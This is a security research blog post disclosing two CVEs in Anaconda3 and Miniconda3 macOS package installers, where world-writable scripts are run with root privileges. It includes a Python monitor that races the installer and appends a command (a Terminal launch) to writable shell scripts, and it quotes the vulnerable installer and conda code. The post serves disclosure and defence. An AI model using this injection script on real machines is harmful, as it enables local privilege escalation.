CVE Hunting in MacOS Package Installers
At Def Con 25 Patrick Wardle presented Death by 1000 installers where he outlined multiple insecurities in macOS installer files. Fast forward to today, these patterns remain highly relevant and can provide opportunities for local privilege escalation under the right conditions.
This post highlights two recently discovered CVEs caused by world-writable files created during macOS package installations. I’ll walk through my methodology for identifying these vulnerabilities and trace the installer logic to see where control shifts to user-supplied code.
Dissecting MacOS Package Installers
In macOS, a Package Installer or *.pkg is just a container used to distribute software. It’s made up of payloads, metadata, and optional pre-/post-install scripts that set permissions, deploy files, and register components. This is far over simplifying the installation process, but enough to capture the broader concept.
These package installers can easily be expanded using built-in tooling to better inspect the contents:
1
pkgutil --expand /path/to/suspect.pkg /tmp/expanded_pkg
The following example demonstrates Microsoft_Word_16.103.25111410_Updater.pkg being expanded to show the installer contents:
Vulnerability Hunting
This is where things get interesting - When a .pkg is installed outside the user’s home directory, administrator privileges are required. In managed environments, this typically happens through manual Help Desk installations or using an MDM solution.
During installation, setup scripts may be created with write access granted to low-privileged users. This exposes a race condition that allows command injection before the installer executes the script with elevated permissions.
The following Python snippet demonstrates how to detect these conditions:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# file_monitor.py
while True:
already_seen = set()
for root, dirs, files in os.walk(install_directory):
for name in files:
file_path = os.path.join(root, name)
# Scan newly created directories only
if file_path not in already_seen and is_recently_created(file_path):
already_seen.add(file_path)
# Check write access
if os.access(file_path, os.W_OK):
with open(file_path, "a+", encoding="utf-8", errors="ignore") as f:
f.seek(0)
# Get file type by shebang
if f.readline().strip().startswith(("#!/bin/sh", "#!/bin/bash", "#!/bin/zsh")):
# Inject command
f.write("\n/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal")
Anaconda3 v2024.02-1 (CVE-2024-46060)
The first real-world case study came from the Anaconda3 package installer, before v2024.06-1. When installed outside the user’s home path, world-writable files were created by the installer that can be abused by under privileged users.
Command Injection
To better understand the exploitation process, I modified my file_monitor.py to log injected files on execution. As you can see only one file was susceptible in Anaconda3 v2024.02-1 – However, this was not the case in earlier versions:
After expanding Anaconda3-2024.02-1-MacOSX-arm64.pkg, I found a containing prepare_installation.pkg which had a Bill of Materials (BOM) entry for our injected script:
BOM entry for anaconda3/pkgs/user_post_install
As you can see, user_post_install is a simple script written to disk and used by the installer to launch the new Navigator application after completion:
1
2
3
4
#!/bin/bash
#!/usr/bin/bash
open "${PREFIX}/Anaconda-Navigator.app"
Privileged Execution
The injected script is ultimately run by a post-install script running with elevated permissions (user_post_install/Scripts/postinstall), which results in successful privilege escalation.
1
2
3
4
5
6
7
8
# Run user-provided script
if [ -f "$PREFIX/pkgs/user_${PRE_OR_POST}" ]; then
notify "Running ${PRE_OR_POST} scripts..."
chmod +x "$PREFIX/pkgs/user_${PRE_OR_POST}"
if ! "$PREFIX/pkgs/user_${PRE_OR_POST}"; then
echo "ERROR: could not run user-provided ${PRE_OR_POST} script!"
exit 1
fi
Remediation
This vulnerability is fixed in Anaconda3 2024.06-1. The user_post_install.pkg is no longer included in the installation package, as \demonstrated below:
Miniconda3 - v23.10.0-1 (CVE-2024-46062)
The second vulnerability identified took place in Miniconda3’s package installer before v23.11.0-1. Again, it was possible to inject scripts created by the installer, subsequently executed with root permissions to achieve local privilege escalation:
Command Injection
Using our modified file monitor, two post-link files, packaged as part of miniconda3/pkgs/python.app-3-py310h1a28f6b_0.conda and unpackaged during installation by prepare_installation.pkg, were susceptible to injection:
Privileged Execution
The two injected post-link files were written to disk and executed during installation with elevated permissions by conda.exe – located in the installer’s run_installation.pkg/Scripts/postinstall script:
1
2
3
4
5
6
7
8
9
10
11
12
13
# Perform the conda install
...
PREFIX="$2/miniconda3"
PREFIX=$(cd "$PREFIX"; pwd)
export PREFIX
echo "PREFIX=$PREFIX"
CONDA_EXEC="$PREFIX/conda.exe"
# /COMMON UTILS
...
"$CONDA_EXEC" install --offline --file "$PREFIX/pkgs/env.txt" -yp "$PREFIX"; then
echo "ERROR: could not complete the conda install"
exit 1
fi
Decompiling conda.exe
Since conda.exe is a Python binary inside prepare_installation.pkg, it was possible to decompile the source and see where execution took place.
This revealed the run_script() function inside conda_pkg/lib/python3.10/site-packages/conda/core/link.py, which was used to execute our injected post-link scripts with elevated permissions:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def run_script(prefix: str, prec, action: str = "post-link", env_prefix: str = None, activate: bool = False,) -> bool:
"""
Call the post-link (or pre-unlink) script, returning True on success,
False on failure.
"""
path = join(
prefix,
"Scripts" if on_win else "bin",
".{}-{}.{}".format(prec.name, action, "bat" if on_win else "sh"),
)
...
shell_path = "sh" if "bsd" in sys.platform else "bash"
if activate:
script_caller, command_args = wrap_subprocess_call(
context.root_prefix,
prefix,
context.dev,
False,
(".", path),
)
...
response = subprocess_call(
command_args, env=env, path=dirname(path), raise_on_error=False
)
Remediation
This vulnerability is fixed in newer versions of Miniconda3, starting with version 23.11. The installer now applies secure permissions to the vulnerable post-link files, which prevents tampering and eliminates code injection opportunities.



